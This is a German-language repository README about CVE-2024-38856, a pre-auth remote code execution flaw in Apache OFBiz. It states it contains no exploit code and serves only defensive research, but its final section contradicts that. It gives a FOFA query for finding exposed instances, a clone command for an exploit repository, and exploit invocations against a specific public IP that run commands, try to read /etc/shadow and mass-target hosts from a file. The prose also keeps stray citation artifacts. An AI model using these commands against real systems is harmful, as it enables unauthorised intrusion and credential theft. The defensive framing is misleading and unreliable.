CVE-2024-38856 — Apache OFBiz (Repository-Dokumentation)

Repository-Zweck: Informationsdokumentation zu CVE-2024-38856 (Apache OFBiz falsche Autorisierung / Pre-Auth RCE).
Dieses Repository enthält keinen einsatzbereiten Exploit-Code. Es ist ausschließlich für defensive Forschung, Patch-Anleitung, Erkennung und sicheres Lab-Testen gedacht.

---

Überblick

CVE-2024-38856 ist eine Schwachstelle aufgrund falscher Autorisierung in Apache OFBiz, die möglicherweise unauthentifizierten Zugriff auf bestimmte Endpunkte ermöglicht und unter bestimmten Bedingungen die Ausführung von Screen-Rendering-Code erlaubt, was zu Remote-Code-Ausführung auf betroffenen Systemen führen kann. Der Fehler wurde in Apache OFBiz 18.12.15 behoben; frühere Versionen bis einschließlich 18.12.14 sind betroffen. :contentReference[oaicite:0]{index=0}

Schweregrad / Auswirkung: Mehrere Sicherheitsanbieter und Forscher haben diese Schwachstelle als kritisch eingestuft – sie kann zu unauthorisierter Remote-Code-Ausführung auf anfälligen Instanzen führen, und es wurden aktive Ausnutzungsversuche in freier Wildbahn beobachtet. Administratoren sollten freigelegte OFBiz-Instanzen als hochpriorisierte Behebungsaufgaben behandeln. :contentReference[oaicite:1]{index=1}

---

Betroffene Versionen

• Apache OFBiz: bis einschließlich 18.12.14 (d. h. alle Versionen <= 18.12.14 gelten als anfällig). Der Fehler wurde in 18.12.15 behoben. Ein Upgrade wird empfohlen. :contentReference[oaicite:2]{index=2}

fofa : app="Apache_OFBiz" && port="8443"

Exploit:

git clone https://github.com/Hex00-0x4/CVE-2024-38856-Apache-OFBiz.git

cd CVE-2024-38856-Apache-OFBiz

└─$ python3 apache_bang.py --target https://139.5.191.156 --port 8443 --exploit -c "whoami"

└─$ python3 apache_bang.py --target https://139.5.191.156 --port 8443 --exploit -c "ifconfig"

└─$ python3 apache_bang.py --target https://139.5.191.156 --port 8443 --exploit -c "ls"

└─$ python3 apache_bang.py --target https://139.5.191.156 --port 8443 --exploit -c "cat /etc/shodow"

─$ python3 apache_bang.py --file target.txt -c "ls"